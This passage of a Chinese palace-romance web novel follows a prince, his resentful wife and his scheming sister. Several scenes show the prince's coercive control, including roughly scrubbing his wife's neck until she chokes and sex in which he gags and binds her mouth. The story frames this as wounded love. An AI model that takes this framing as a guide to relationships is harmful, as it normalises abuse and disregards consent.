直到后来,韩泽出来,似刻意躲着她,眼神闪避。 元斓上前一步拦住他,“韩主管,如何了?” 韩泽眉眼皱在一起,摆了摆手,似是不想让她再说,埋头往前走。 元斓叫了他一声,韩泽没有回应,正要追上去,却见元衡走了出来 。 元斓三步两步到他跟前,伸出了手,什么也没说。 自己的那位兄长停住脚步,脸如雕刻般分明,冷漠而威严,只扫了一眼她空荡荡的掌心,波澜不惊。 他抬步向外走去,元斓立马提起裙摆跟上。 元衡走的极慢,搬东西的那些奴仆早已不见踪影,周围并无其他人。 元斓走到他前面,手一直摊开,“我的字据呢?” 元衡问:“什么字据?” “昨日我沐浴后,那张字据便没有了,昨日给我沐浴的婢女,有你手下的人是不是?是她们从我簪子里偷走的?” 听她说完,元衡移开目光,淡淡道:“本王不知道你在说什么。” 元斓眼睛瞪大,“皇兄不会真想出尔反尔吧?” 他仍大言不惭,“孤如何出尔反尔?” 元斓脚步停住一瞬,从脖子到耳朵一片红,似气急败坏,直呼其名,“元衡,你答应我的!那是我用秘密换来的!” 元衡道:“皇妹是说那两个秘密吗?” 他站的挺立,完全未有愧色,“本王昨日仔细想了想,不管皇妹准不准备嫁给萧晗,这两个秘密应该都会告诉孤才对,这样一来能借孤的手查清当年之事,二来还能挑拨孤与你嫂嫂的关系。是皇妹先心不诚,如何能怪的了孤?” 元斓听罢,似被戳穿心思,脸色变白。 “是她告诉皇兄的是吗?”元斓眼尾微红,却透出厉色,“她就是不想让我好过,所以又给皇兄吹枕边风了是吗?” 元衡冷厉道:“那是你皇嫂,皇妹最好放尊重些。” 元斓仍倒退着走,满不理解,“她到底使了什么手段,让皇兄这般鬼迷心窍?” 元衡脸色越来越冷,道:“住口。” 她不想有朝一日,自己的兄长会让自己住口。 元斓柳眉越皱越紧,“兄长可还记得,是我将她送给兄长的?” “她一个外室女那个时候故作清高,百般不愿,现在却对皇兄极尽谄媚,蛊惑皇兄是非不分,连自己的亲妹妹都要百般提防,她这般表里不一之人,分明不是喜欢兄长!” 第58章 第五十八章他能不能对她不好些?…… 这句话,句句往心口直去。 她百般不愿,却被元斓送到了他身边,可她并没有谄媚,也没有表里不一,对他的厌恶被他逼到了明面上。 是他甘愿做岑璠身后的狗,做她的裙下臣。 元衡唇抿成缝,在她又开口时又是冰冷的一句,“住口。” 元斓眼底红得像兔子,到底没再说。 她倒是还惦记那张字条,“皇兄把字据给我,你们的事我再也不会管。” 元衡扯开一点笑,仿佛在说她爱管不管。 她气急败坏,先一步走出游廊,在阶下拦住他,“皇兄就不怕我现在把我在晋阳的事说去,皇兄会落个包庇的罪责?” 元衡冷道:“你若是真敢,何必同孤说这么多?此事人尽皆知,又对皇妹有什么好处?” 元斓嘴角下撇,彻底没了法子,眼中饱含怨恨,“皇兄就是听了她的话才反悔的。” 元衡道:“是又怎么样?对你嫂嫂不敬,孤替她出口气,为何不可?” 他问得冷静,斜看向她,不紧不慢道:“路上都给你打点好了,皇妹回去的时候能少绕几座山,回洛阳后好好出嫁,别再动旁的心思,除了父皇给的嫁妆,孤还会给你再多置办一批,若是将来萧晗那厮让皇妹委屈,孤或许会考虑给你撑腰。” 元斓越听眼睛越红,眼眶内兜了几滴泪,“皇兄难道以为这样偏袒,连亲妹妹都要不管不顾,她便会感恩戴德吗?” “她一开始不会,永远都不会!皇兄还不明白吗?” 元衡拳渐渐收紧。 他下颌微动,扯开唇,话声冷硬,“皇妹若是再说,嫁妆孤也不会多给。” 元斓蓦地收住泪,就连刚才眼底的那几滴都被眨了个干净。 她紧咬唇,似是受了天大的委屈,“皇兄真的不管了吗?” “孤若是不管你,昨日你便进不了王府的门。” 说罢,元衡拂袖,从她身旁而过。 他终究是送了她一程。 元斓似知道他的态度,只在出城时掀开帘,幽怨地多看了他一眼。 元衡无动于衷,在那辆马车离开后便回府。 门外已经大亮,屏风处有两道身影,应当是她醒了,有人在给她更衣。 这种时候,元衡从来不会避开。 那名叫紫芯的婢女正环着她的纤纤细腰,一条浅青色绶带上坠有几颗玉环,垂在她的裙摆间。 她肌肤胜雪,颈上的红痕仿佛一夜间便被抹去了一般,什么都没有。 紫芯注意到元衡进来,又替岑璠理了理衣衫,仔细看了看,指向自己眼下,“姑娘这里青了,可要也擦点脂粉?” 岑璠摇头,“先下去吧。” 紫芯离去后,岑璠看他,态度不算冷淡,起码没有立刻走开。 她走到桌前,将一封家书双手交予他,“劳请殿下派人送去虞家,一定要亲手交到珝儿手里。” 原来这般态度,是有求于他。 元衡扫了眼,便移开目光,似是不愿碰那封信,“你找人去送便是,交由本王做什么?” “我的信,殿下难道不都是要过目吗?” 元衡有一瞬的诧异。 岑璠并不斥责他,似也没打算解释。 或许只是看透了他。 她把信又往他面前伸了些,一双雪白的腕露了出来。 元衡低头看那封信,道:“你送给虞家那么多信,他可有回过?” 岑璠道:“殿下也应该知道,我与家中父亲关系并不好,那些信或许到不了珝儿那里。” “你有没有想过,那些信他不想回?” 岑璠立刻回,“不可能。” 元衡正色道:“怎么不可能?” 那虞家唯一的男丁,像宝贝一般捧在手里长大,若是记挂着她这个阿姊,怎么可能收不到她的来信? 岑璠倒不这么想,反倒是质问起来他,“殿下为何总要这么想珝儿?” “殿下不是说会派人盯住他,难道珝儿他还在赌?” 元衡道:“他是没有赌,但他也是不学无术,整日和那些纨绔逃学作乐,酒楼诗会他哪个没少去?你是觉得他这样,将来不会再去那青楼赌坊?” 她眼眸微动,似是不信,“你说他逃学去酒楼?” “是。”元衡答的笃定,“我的一直跟着,他便是这般不学无术,无可救药。” “你别说了。”岑璠冷声道。 她扶住屏风,眼底分明有些红润 元衡道:“你说元斓不好,孤听了你的话,没再管她,可你自己呢?” 岑璠淡然回答:“我的事,也自有我处理的方法。” 元衡无法理喻,径直出了房门。 他走的时候连门也没关,岑璠在他走后,便缓缓走出门,面对那扇门而坐。 阳光打在脸上,冷风迎面扑来。 紫芯进屋,赶紧关住门,“姑娘坐在这里做什么,别冷着了。” “你去把墨群叫来吧。”岑璠道。 紫芯也没问为什么,转身去找人。 岑璠仍坐在那里,手指渐渐泛凉,甚至有些僵硬。 墨群来时,她指尖才动了动,“帮我去洛阳查件事吧。” 她声音说的轻,墨群能听清她说的什么,也能听清楚她声音中的哽咽。 “你帮我回去查查珝儿他在做什么。”岑璠顿了顿,才说了后半句,“若是他真的逃学去酒楼,便给大市云珮阁的掌柜说,以后莫要给他支钱了。” 墨群得令,可却未走,欲言又止。 岑璠有所察觉,问道:“墨群可是还有话要说?” 墨群颔首,道:“属下觉得,姑娘如此太过仁慈,总该教训一番才是。” 她抬头看向两人,墨群满是笃定,而一旁的紫芯也没有反驳。 “知道了。”她握紧了拳,指尖的冰凉触到掌心,下定决心,道:“你去洛阳后看着办便是。” 墨群告退后,紫芯留了下来,“姑娘先消消气,我待会儿叫人去煮些茶来。” 岑璠还记得,她刚回到虞家时,紫芯也曾看不惯她,爱找她麻烦。 如今却沉稳许多,对她也很好。 她问道:“紫芯,你说一个人会改变吗?” 紫芯眨了眨眼,似是没想到岑璠会问她这些。 可她也知道岑璠为何要问,讪讪一笑,“姑娘,奴婢觉得一个人对另一个人好,总有天会感受到的,不然不就是白眼狼了吗…” 岑璠轻笑,“真这么想?” 紫芯愣了一瞬,点头后却又摇了摇头,“奴婢只是说姑娘的阿弟。” “殿下有的时候对姑娘…也算挺好的,但有的时候也不好……” 提到他的时候,岑璠显然静了一瞬。 她眼眸低下,没有回应。 “知道了,你先下去吧。” * 元衡走出房门后,去了书房。 他心中越想越不忿,从房内提了把剑。 剑尖出鞘,一招一式凌厉,空中的风似都成利刃。 韩泽来时,那闪烁寒芒的剑尖刚好对准他。 韩泽大惊,往后微仰。 元衡收起剑,连带着戾气也收起来几分,淡然道:“何事?” 韩泽有所斟酌,道:“是王妃,那边的人说王妃要停了虞氏那位小公子的银两,还说要教训一番。” 他堆砌起来一副笑脸,道:“其实王妃她并非不明事儿,依老奴看,只是有些事放不下罢了。” 元衡沉默半晌,却是挑眉问道:“她难道没让他查一番,看本王说的是不是真的?” 韩泽心虚到语塞,半天不说,似被堵住了喉咙。 元衡了然,将那把剑抛给他,偏过头去,忽的一声寂然的笑。 那声笑苦涩又疲惫。 她宁愿去相信那个无药可救的纨绔胞弟,也不愿意信他半分。 这便是她在乎一个人的样子吗? 全心全意,恨不得把一颗心都掏出去,就算其他人都说不好,她也不愿去相信。 哪怕对她的好无动于衷,哪怕对方心是石头做的。 他和她一样。 连元斓都看得出他鬼迷心窍,像要找不着北…… 可她的心也是石头做的,他就像是一个笑话。 她对那个弟弟百般呵护,他为她不值,可他又羡慕。 上一世她对他是不是也这样,宁愿徘徊等待五年,不愿意相信他就是那么心狠的人? 可他知道自己错了,他的心也不是石头长的。 元斓说的不对,一个人不在乎,不代表永远不会在乎,他就是啊。 他就是想不通!想不通她为何这一世要弃他如敝履。 究竟是哪里出了问题!到底是什么…… 元衡头脑胀痛,无数个声音在撕扯,有愤怒,有不甘,还有自嘲。 他羡慕她那胞弟,羡慕她那些朋友,到最后开始羡慕起过去的自己。 那眼睛红地布满血丝,韩泽都看的心惊,无力的辩解了两句,“殿下,王妃她不是您想的那样……” 就连韩泽也看得出,他手下的人说不定都在同情他…… 元衡手渐渐垂下,眼中的红丝也慢慢消散了。 他能不能对她不好些? 心底忽然响起这样的声音。 左右她不喜欢他,他也不喜欢了。 这样她才会注意到他以前的好,才会后悔痛苦,意识到她离不开他。 * 岑璠午后重新写了一封信。 可她今日并没有再见过元衡。 夜色变浓,房外的婢女点起灯笼,乳娘今日一早和府内人忙着裁剪冬衣的事,脚不沾地,晚些时才听到两人又起了争执。 往常就算再吵,晋王也不会这么晚归。 乳娘点了她殿里的蜡烛,叹气道:“姑娘这次别拗了,该去和殿下道歉。” 岑璠坐到面对门的那张矮榻上,手里捏了那封信,“知道了。” 就算乳娘不说,她也准备去道个歉。 乳娘一拍手,“这才对。” 想着两人晚上肯定要温存一番,乳娘嘴上开始念叨,只说要给岑璠换件寝衣。 被岑璠拒绝了。 乳娘没有强求,转头想了想,在房中点起些甜腻悦人的花香。 只是准备许多,却没想到晋王是喝过酒回来的。 他没有进房,去了净室。 乳娘有些意外,却也没有放弃这种机会,“姑娘快去道个歉…” 岑璠看手里的信,那信被捏的太久,捏出了些褶皱。 她站起身,终究是带着那封信去了。 净室外有几个婢女,见到她也没拦。 岑璠静步走进去,净室内雾气缭绕,只见他双臂搭在池外,头靠在石枕上。 地上乱扔着他的衣裳,左一件右一件的。 岑璠低下身,耐着性子将那些衣裤一件件捡起来,帮他搭在屏风上。 他始终没有转过来,像是睡着了一般。 可岑璠知道,他并没有睡。 她走进些,蹲下身,绶带上的玉环点在地上,将那封信递到他面前,声音平和,“殿下今日所说其实不无道理,这封信我重新写了,殿下打开看罢。” 说完这句,只见元衡缓缓睁开眼,那双凤眼微斜,侧目扫了眼那封信,而后又闭上。 一串动作,就连池水都不曾有波澜。 第59章 第五十九章“失宠” 岑璠道:“殿下,喝酒后沐浴对身子不好。” 元衡状若未闻,只是悠哉悠哉深吸了口气。 他卸了冠,脸庞轮廓深邃,鼻正唇薄,一缕发贴在脸上,肤白却健壮,醉玉颓山,显得有几分慵懒。 岑璠知道他的怪脾气,自己拆开那封信,亮给他看,“殿下过目。” 元衡看都没看一眼,薄唇微启,冷淡道:“你自己拿着罢。” 岑璠抿唇,刚露出些许的好脸色又沉下去。 她站起身,默声看他半刻,而后便转身。 身后男人却喊住她,声音沉厚清晰,在一室中回荡。 “王妃求人便是这般态度?” 不想帮她送信的是他,现在叫住她的也是他。 岑璠觉得在被戏弄,回过身去,“殿下又想如何?” “过来。”他背对着她,语调冷硬。 岑璠并没有上前。 她盯向那道背影,冷笑一声,解开腰间的绶带。 玉饰坠在地上,发出清泠响声。 元衡睁眼回头时,她便是连身上的襦裙都全解开了,身上只剩了薄薄的中衣。 她走过来,低身跪坐,问他,“殿下要做什么?” 她似湖水般平静,可越是这样,元衡便越是恼火,喝的酒仿佛烧上了额头。 他抬起手,将她整个人拽低,差点拽入水中,“王妃既知道还要问?” 手臂被他捏得疼痛,岑璠扶住池沿,想要挣脱开,却被他越握越近。 她的脖颈雪白,细看便能看到脂粉的痕迹。 元衡怒从中烧,手里掬了捧水,泼在她那层厚厚的脂粉上,一只手用力在她脖子上擦拭。 池中的水溅起,湿了她的衣裳,隐约显出曼妙。 水珠顺着高挺的鼻梁划过,他神色仍是冰冷,似是 厌恶极了她脖子上的脂粉,一遍遍搓洗。 脖上原本的暗痕逐渐显现,混杂新搓出的一层红色。 他似是还不满意,又泼起一层水。 水浪打到她脸上,呛进她的鼻,岑璠猛地咳嗽起来,用力往外挣脱。 他放开她,任由她一个人咳,渐渐那双眼变得愈发沉寂。 那眼神停滞住,似是停了许久。 他手垂下去,转过身去,声音陡然变得平静。 岑璠还在咳,几乎要呛出泪花,许久才停下。 待她咳的小声了些,元衡道:“你出去吧。” 岑璠有一瞬惊讶,抬头看他,想确认他说的是不是真的。 元衡又闭上眼,就好像刚才什么都没做过一般,安静得让人捉摸不透。 岑璠一时举棋不定,并未起身,问道:“五公主她都同殿下说了什么?” 元衡蓦地睁开眼,却是自己走远了些。 他仰头靠在池子的另一边,道:“这不是你该知道的。” “王妃的那封信让韩泽送出去便是,本王不会过目。” 岑璠缓缓站起身,望向他许久没离去。 元衡便是看向她。 她站在那里,似有迟疑。 可也仅仅就是迟疑,没有别的情绪了。 他又淡淡移开目光, 须臾后,岑璠低身行了一礼,捡起地上的衣裳,裹起被溅湿的衣裳出去了。 再回到房内,她已经换了一身干净的寝衣,坐在榻上。 槿儿正拿着一小盒膏药,往她的脖子上涂,似在嘱咐什么。 清凉的香气扑鼻,似还弥漫着一丝甜腻的香气,他站在很远都能闻到。 元衡知道,刚才他使了蛮劲,她的脖子上擦红了。 他没控制住,他又控制不住自己心中的怒。 元衡握紧拳,走向两人,脸上仿佛凝结一层冰霜。 两人都停住声,噤若寒蝉。 他坐在岑璠一旁,自己脱鞋,睡进床榻内侧,没发出一点声音,动作一气呵成。 那两只鞋与其说是被脱掉的,不如说是被踹开的,两只都倒在地上。 其余两人相顾无言。 岑璠无声说了句“下去吧”,槿儿犹犹豫豫行礼告退,绕出屏风时还看了一眼。 待到人走后,岑璠摆正他的鞋,转身看向他,“殿下可是还醉酒?” 他今晚实在太过反常,若是从前,她约莫现在不能有穿着衣裳同他好好说话的机会。 她听说醉酒的男人爱乱来,但有的时候确实可能心有余而力不足。 想来想去也只有这个原因,不知道是不是真的…… 可岑璠没等来回声。 他背对着她,肩背宽阔,散开的头发微湿,水渍浸在床被上。 岑璠抿了抿唇,没为难他非要说出个所以然,下榻自己吹灯,避开那团水渍,也背对他躺下。 她的身上还散发着药草苦香,渐渐地那香味凝固,被一股难以忽视的甜腻花香取代。 昨日他要的太狠,岑璠缓了一天尚未缓过神,很快便意识朦胧。 元衡却还很清醒。 那股花香时不时冲入鼻中,腻得难闻,却时不时泛起些欣悦。 元衡向来谨慎,他嗅了嗅房中的香气,问道:“什么香?” 岑璠并没有听清,只又醒了些。 元衡倒没管她睡没睡着,掀开被子,下榻时撞到了她的腿。 岑璠收住腿,自己也坐起身,转头看向他去的方向,才想起来,道:“那是乳娘点的花香。” 指尖将要掐上那段香时,元衡手指顿了顿。 那香烟袅袅,就在他鼻尖上,可却也没那么难闻。 他凝住黑暗中香尖燃烧的星火,凝了好一阵,还是抿唇掐断了那香。 他冷道:“以后别再点这种香,本王闻不得。” 岑璠话音一顿,并未辩解,利索地道了声,“知道了。” 元衡走回去,到了床边,道:“你睡进去。” 岑璠对他的喜怒无常向来敬而远之,不想大半夜招惹他,顺从地往里挪了挪。 衾被中他的热气犹在,透着沐浴后的沉香和茉莉香,枕上被他没烘干的发浸湿,枕上去并不怎么舒服。 有一瞬间,岑璠以为他只是想和她换枕头而已。 可他似乎从来没有背对着她睡过。 今晚的种种似都太过反常。 岑璠到底没多问什么,枕着那枕头又实在难受,便想要下床却觉得麻烦,把被子往上面拽了拽。 “做什么?”元衡问道。 岑璠道:“枕头是湿的。” 那人似是沉默。 他下榻替她从窗边的贵妃榻上拽了只枕头。 得来了一句随口的,“多谢殿下。” 他没有回应,依旧冷漠。 两人背对着睡了一夜。 * 府里都知,那入府的舞姬,不过一日便被晋王送出府。 舞姬刚进府的那日,正殿里持续到夜半时事不少人有所耳闻。 一传十十传百,便成了王妃善妒,听闻晋王要纳妾大哭一场,不让晋王出房门。 软磨硬泡一场,晋王到底是心疼,陪王妃睡了一宿,隔夜便送走了那舞姬。 府中无一不对王妃的手段赞叹,愈发毕恭毕敬。 乳娘同她说起此事时,眉眼间都是笑的,昂首挺胸,满是骄傲。 岑璠知道乳娘口中的舞娘是元斓,并未有波澜。 昨日那封信还在手里。 岑璠定定看着手里那封信,又想到昨日他说的。 他说这封信他不会过目。 岑璠始终存疑,可昨日他确实不是很关心她要送的信。 也许只是想掩饰些什么罢了。 她将那封信交给乳娘,“乳娘送信后,还要留意韩管事的动向。” 乳娘依言将那封信送出去,发现送信人很快便出府,将信送出了去。 那封信并没有交到晋王手里。 岑璠纳罕,竟真想不通他忽然态度大转,是何用意。 当晚夜里,元衡并没有回到后院,据韩泽传信,说是最近军镇多处异动,杨将军来信,晋王忙着公务。 韩泽走的时候,岑璠却不禁问,“今日那封信,他可有看过?” 平日王妃送回去的信,晋王还真会一封封拆开审阅,只是这一封没看过罢了。 韩泽有些心虚,眼神躲闪,道:“回王妃,这封信殿下并未看过。” 岑璠沉默半晌,“知道了,多谢韩管事。” 送信的事,似是就这么不了了之。 可元衡回来的时候越来越少,岑璠常常独自在这诺大的后院里待好几日。 偶尔他倒也会回来,不过都是深夜。 王府内不免有人揣测王妃失宠。 妒心强,半年无子嗣,会失宠倒也不是怪事。 可毕竟是正儿八经的王妃,府里的人也只是嚼几句碎嘴,并不敢在衣食上苛待半分。 乳娘也急得整日睡不着觉,像热锅上的蚂蚁,隔三差五便要来提点一二,劝她服个软。 岑璠却觉得这样并非坏事。 同他少见面,反倒能让她少遭些罪,若是他厌恶了她,那自是更好,那她便可以随时脱身。 至于报仇,她这几日也想过,他或许并非她唯一的选择。 总要试试找别的出路。 至于欠他的救命之恩,便折换些银两给他,听乳娘说晋王舍得为她投钱,可实际缺少银两,府里的积蓄相比于其他皇亲贵戚,少的可怜,只是瘦死的骆驼比马大而已。 乳娘曾在洛阳的世家待过,岑璠并不怀疑这是假的。 他不回来,岑璠反倒是自在了不少,闲来在屋内画了一幅幅画,还学起了洛阳城内新传来的烹茶之方,夜里也比之前睡的早了些。 有一日的清晨,晋阳下起第一场雪。 这里比彭城下雪早些,北风萧瑟,片片鹅毛,点点扬花,直到夕阳落时才停。 夜里万籁俱寂时,只剩门外一阵嘎吱脚步声 门外不知何时堆好了一只不算小的雪娃娃,娃娃脸上言笑晏晏,五官刻画精细,栩栩如生。 路过那雪娃娃时,脚步声停了许久。 随后干涩的步声愈发疾快,脚印的一串脚步也愈发稀疏。 岑璠已经洗漱完,准备吹灯。 他的靴子半湿,身上带着寒冷,连耳朵都红了些。 岑璠愣了愣,又笼起了灯火。 元衡简单洗漱后吹了灯,如同前些日子一样,并没有碰她,只背对背静躺。 岑璠似已习惯,睡得安心。 只是还没睡着,背后尚存的一股寒气靠过来,那双微凉的手准确地伸过来,锢在她的柳腰上。 第60章 第六十章我其实做过很多梦 那只手用力,顷刻间宽实的身躯覆上来,热气扑洒在她的颈间。 近一个月来他二人井水不犯河水,岑璠几近要忘记这档事是什么感觉。 衣带被扯开时,岑璠身子微颤,黑暗中她看不清他的神色,只知道耳畔的呼吸粗重。 那感觉陌生而又危险,她的手本能拽住他背上的衣裳,慌乱之下,又渐渐抓紧他的手臂。 元衡似是有所察觉,从她身上退开,停滞了一刻,而后坐起身来。 他坐在她的腿上,衣裳一件件甩在床上,动静 并不算小。 岑璠能感觉到他不耐烦,身体愈发打颤。 她身上的衣裳还算得上齐整,只双腿被蜷起,凉飕飕的。 脚踝被握得发疼,太久没有过,闯入的时候,岑璠身上直冒冷汗。 不似平日里的纠缠,他并未与她有太多肢体接触,也未吻她,只一直在上俯视。 两道呼吸逐渐错乱,一层层汗渗出,岑璠渐渐禁不住,唇起开发出些许声音。 他一反常态,捂住了她的唇,岑璠趁机蹬了一脚,他冷面揪了一旁散乱的衣裳,绑在她脑后。 一室沉寂,只露出断断续续的闷哼声,声音小到门外的人都不曾察觉。 再停时岑璠身上的衣裳还是齐整,元衡她脑后解开系成死结的中衣,叫了守夜的奴婢,让她去沐浴。 岑璠眼眸红润,张嘴喘息,许久才撑起身。 她收起眼中的泪,淡淡问了一句,“殿下可有喝药?” 她向来懂得如何激怒自己,这点元衡领教过。 他穿起上衣,凑近些,不甘示弱问道:“本王便是不喝又如何?” 岑璠脸色煞白了一瞬,似是想确认他说的是不是真的。 元衡道:“王妃不想洗也可以,若是有个孩子,王府不是养不起。” 岑璠立刻坐起身,去了净室,浑身上下都擦洗了一遍,魂不守舍。 她能感觉得到他留下的东西淌出来,他说的话也还在耳边回荡…… 她静静思量许久,喊来婢女,要了一碗避子汤。 那婢女似有为难,可到底是出了净室。 池水渐渐变得温凉,岑璠没等来避子汤,却是等来了闯进来的晋王。 元衡站在不远处,冷道:“本王刚才喝过,王妃可是满意?” 岑璠眼眸微动,惊讶一瞬,到底还是心落了回去,只说道:“多谢殿下。” 她道谢的时候背对着他,没有等到回声。 想必他一定是气坏了。 许久之后,他才道:“洗完就出去。” 岑璠倒也不犹豫,当着他的面赤脚走出汤池。 她朝衣裳走去,便听到扑通一声落水声。 她微微向后望,倒也没说什么,径直离开。 元衡再回来时,她已经睡下。 他吹了灯,依旧同她背对背躺着,中间隔了一个人的间隙,连发丝都没有一点接触。 仿若什么都没有发生一般。 * 第一场雪过后,晋阳的每个清晨都会结起一层冰霜。 晋王回来的时候比之前勤了些,只是每次来都带着自己的目的。 他还是不喜欢她在床榻上发出任何声音,时常堵住她的嘴,自己也从不说一个字。 像是单纯地拿她发泄,消耗她的精力。 府中的人都能看出晋王的态度,说的最多的还是晋王如何对她厌烦。 可说来说去,一件件冬日里的皮货还是送到了她手上,不仅送去了,样式还不少,有几件大氅甚至是狐狸皮料做成的。 府里有一批红梅开了,开在西侧的小院旁,槿儿兴致冲冲同她说,岑璠披上件兔毛襦袄,随几个小婢女一起出了门。 那株长得最好的红梅开在院外,树枝茂盛,一枝红梅悄然伸进院子,散发着暗香。 岑璠手里揣有一只汤婆子,雪白的颈露出半截,仰头看那红梅,看的出神 她将手上的汤婆子交给槿儿,拿了剪子,想要剪几枝下来。 槿儿道:“姑娘手还疼,还是奴婢来剪吧。” 这几日天冷,岑璠手上的旧伤确实时不时疼痛,她便又拿回汤婆子,给槿儿指了几处,剪下来几枝,又在树上摘了一筐梅花。 摘过梅后,几人未多停留,回了院子。 槿儿换上刚摘的那枝梅,撒了些水。 屋子藏起暗香,岑璠让槿儿将那筐梅花交给了灶房,午膳时做成鲜花饼。 这些日子岑璠习惯了自己用膳。 他依旧是那样整日里冷着脸,惜字如金,除了床笫之欢,算得上冷淡,不再执着问她到底是不是喜欢他,为什么不想生孩子。 说白了,他好像是有了自知之明。 午膳过后,喜鹊却送来一瓶药。 那是元衡派来她身边的婢女,岑璠一直都知道。 自从五公主被送走后,喜鹊在她身旁出现的也少了些,不仅如此,王府内其他伺候的人也少了许多。 不过人撤走,也意味着监视她的人会少些。 喜鹊道:“这个是太医上次开的药,殿下说王妃既然手疼便抹些,王府内不缺这些药材。” 手疼的事,岑璠只告诉了乳娘她们。 他如何得知的? 岑璠一时想不明白,淡淡道:“替我多谢殿下。” 喜鹊也没多逗留,似是不想同她有太多牵连。 岑璠也知道,自己在外人眼中是失宠了,再在这里怕是也要招晋王厌烦。 只是当晚,失了宠的王妃还是被“临幸”了一番。 不同于之前,他今晚点了灯,只是仍沉默寡言,神情淡漠。 穿上衣裳时,岑璠还仰躺在床上,浑身像被浸在水里一般湿漉漉的,脸上显着潮红。 元衡抱起她去净室,将她扔在水里,跟着下去,自顾自洗了洗。 “你弟弟今日来了信,韩泽明日会把信给你送来。”他交代道:“你毕竟还是孤的王妃,今年皇宫元日宴,随孤回洛阳。” 他说完这句话,便从池子里出去,快到连道谢机会都没给岑璠留下。 岑璠有些惊讶,张开嘴的瞬间,却不巧瞄到他的腰腹。 腰间那处,尚没有下去 岑璠抿了抿唇,没再说什么。 他穿好衣裳,微微回头道:“今天送来的药,自己往手上涂。” 岑璠立刻颔首,身子却往水里又沉了些。 再回房时,他已经完全恢复了常态。 岑璠放心在他眼前涂好药。 除了刚才说的那句公事,他似真的没有话想说。 岑璠这几日总是陷入怀疑。 他似是真的不在意他了,可若真说不在意,却又总不像。 毕竟夜里他还总是赖在主屋,没赶她去别的地方,也没有苛待她。 外面的人说她失宠,也只是因为他脸冷了些而已,倒也没不顾她的死活。 岑璠也不问他,若是真的猜到了他的心思,依他的德行,说不定还要恼羞成怒 她同他一般沉默,自觉睡到床的内侧,什么态度也没表示。 元衡熄灯时,偶然间瞥见了屋子里的红梅。 今日在西侧小院见到她时的场景又浮现在脑中。 似雪的肤与白雪相映,她娉婷袅袅,抬头望梅,一枝红梅遮住她的发梢,像一枝梅簪,衬的人愈发孤傲冷艳。 上一世的她也摘过梅,想必摘梅时也是这般,让人离不开眼。 灯火透着温暖,即使还是被吹灭了,也有暖意残留。 他上床后,平躺在床上,侧头看向背对他的身影。 那道身影不似上一世清瘦,苗条纤细,到底被他养得饱满。 他忽地转过身去 ,看着她的背影。 岑璠能感觉得到,藏在枕下的手微微握紧,心持警惕。 可他没有碰她,只是静静看着。 过了许久,困意袭来,岑璠才闭上眼。 夜里红梅绽放,幽幽暗香弥漫,将人带入梦境。 那是一场凄凉的梦。 梦中的雪突如其来,似是比往年早了许多,树叶还未枯萎,只是泛起了黄色。 和之前的梦一样,梦中又传来一阵女子哭声。 岑璠不知道女子为什么会哭,只是那哭声太过安静寂寥,苦涩到她心口也跟着疼 那场雪似是下的很大,她手心像是浸在冰雪中,冷到骨头里,似冰锥在敲打。 岑璠额上冒了冷汗,那手疼的感觉越来越强烈,几场梦境重叠在一起,越来越混乱。 忽地她听到一声唤,那唤声并不算小,严厉而又急切。 意识忽然又变得清醒,似是见到一片光亮。 岑璠睁开了眼。 可那手心的疼痛感没有消失,不仅如此,全身上下都泛起疼 她坐起身、浑身疲惫,脸颊上似有些湿润。 岑璠用手背抹了一把,闻到一股熟悉的沉香,抬头看去。 他的脸色并不像前几日一般冷,站到床榻前,神情严肃,“你梦魇了。” 岑璠淡然点头。 她时常做梦,自嫁给他后倒是不常梦到这些,不知为何,今日又开始做梦了。 那些梦 她还记得,她之前做的每一场凄凉的梦都与面前之人有关。 岑璠不禁抬头看他,却瞧见那双梦中一样的寒眸。 她眼眸微垂,许久后问道:“殿下可有做过梦?” 元衡愣了愣,手微微握起。 他的确做过梦,梦到上一世的她死在他面前 可到底都是虚幻。 沉默持续了半柱香,直到灯油掉下来一层,岑璠才抬眸,道:“我其实做过很多梦,每一场梦,几乎都有一个女子在哭。” 她说这番话的时候,一双水盈盈的杏眼始终与他对视,语气平静,平静到元衡猜不透她同他说这番话的意图。 梦境诞幻不经,可元衡不知为何,心底竟渐渐泛起一种恐惧。 他微微启唇,想问她梦到了什么,可到最后却也只说,“梦罢了,难不成还要当真?” 可她做的梦,或多或少总会有成为现实的地方。 譬如遇到他,譬如在佛堂委身于他,譬如嫁来这王府 岑璠仍然看着他,似想一探究竟,元衡却是一只手手摸上她的额头。 他移开了目光,回避她想告诉他的事,道:“你发热了,好好躺着,孤去找医士来。”【你现在阅读的是 】 60-70 第61章 第六十一章认了命 岑璠这才知道自己身上的不适感是为何。 她手摸上自己的额头,却感觉不到任何滚烫,想来自己的手也是烫的。 元衡转身,神色不似刚才那般冷硬,反倒是有些慌乱。 他不知道她梦到了什么,可若是与他无关,为何她会告诉他? 她说梦到一个女子在哭…… 他难以想象,如果她真的知道了上辈子的事会是怎么样…… 上一世她那么喜欢他,他却让她哭过了很多次,是以她不要他了…… 不仅如此,这辈子连喜欢他都不曾。 这一世他对她好些,她会原谅他吗? 元衡不敢肯定,也许她会,可更多的可能,她会和这一世的她一样嘲笑他…… 元衡心乱如麻,出门时仰头看了看夜空,发出一声无人察觉的叹息。 他似是认了命,又迈开步子,让守夜的人去请医士,自己却未回房间。 走下回廊,门外她画好的那只雪娃娃,屋内烛火昏黄,莹莹暖意映在晋阳的初雪上。 他停驻片刻。 夜里寒凉,那雪娃娃上画的鼻子眼睛还清晰可见,好像一个小娃娃在冲他笑。 可初雪后没过多久应该就化了。 元衡叫来喜鹊,想把那雪娃娃放在冰窖里。 可存起来有什么意思呢?放到那黑漆漆的地窖,看不得,碰不到,倒不如化掉…… 到头来他道:“把这个挪到别处吧。” 喜鹊知道这些时日对王妃的态度,答了声是,便将那捏好的雪娃娃挪到了树下。 元衡移开目光,转身回到屋子里。 医士已经诊好脉,拱手一礼,道:“王妃应是得了风寒,微臣开了些药方,王妃喝几日应是无碍。” 元衡点头颔首。 他看向她,只见她面色愈发红,待到医士走后,他转过身去给她倒了杯热水,道:“喝了能好些。” 这些日下来,岑璠竟是有些不太适应他的殷勤。 她道了声多谢,接过他的水。 乳娘端上药来时,见到两人难得平和,心底倒是欣慰。 乳娘将药交到晋王手里,他接过药碗,一勺勺地喂,没有表现出多紧张,倒显出几分稳重。 睡觉时,他又像从前那样,从背后贴了过来。 岑璠生着病,觉得他这么抱着她太过别扭,想说别过了他病气。 他却似知道她要说什么,打断她的话,“本王无碍,睡吧。” * 翌日,军镇传来急报,是杨知聿传来的。 近来赤城多有异动,这封信传来的时间,正是赤城旁的一处粮仓被烧之时。 自从崔氏倒台后,杨樾便以军镇不稳,请求调离晋阳,前往武川。 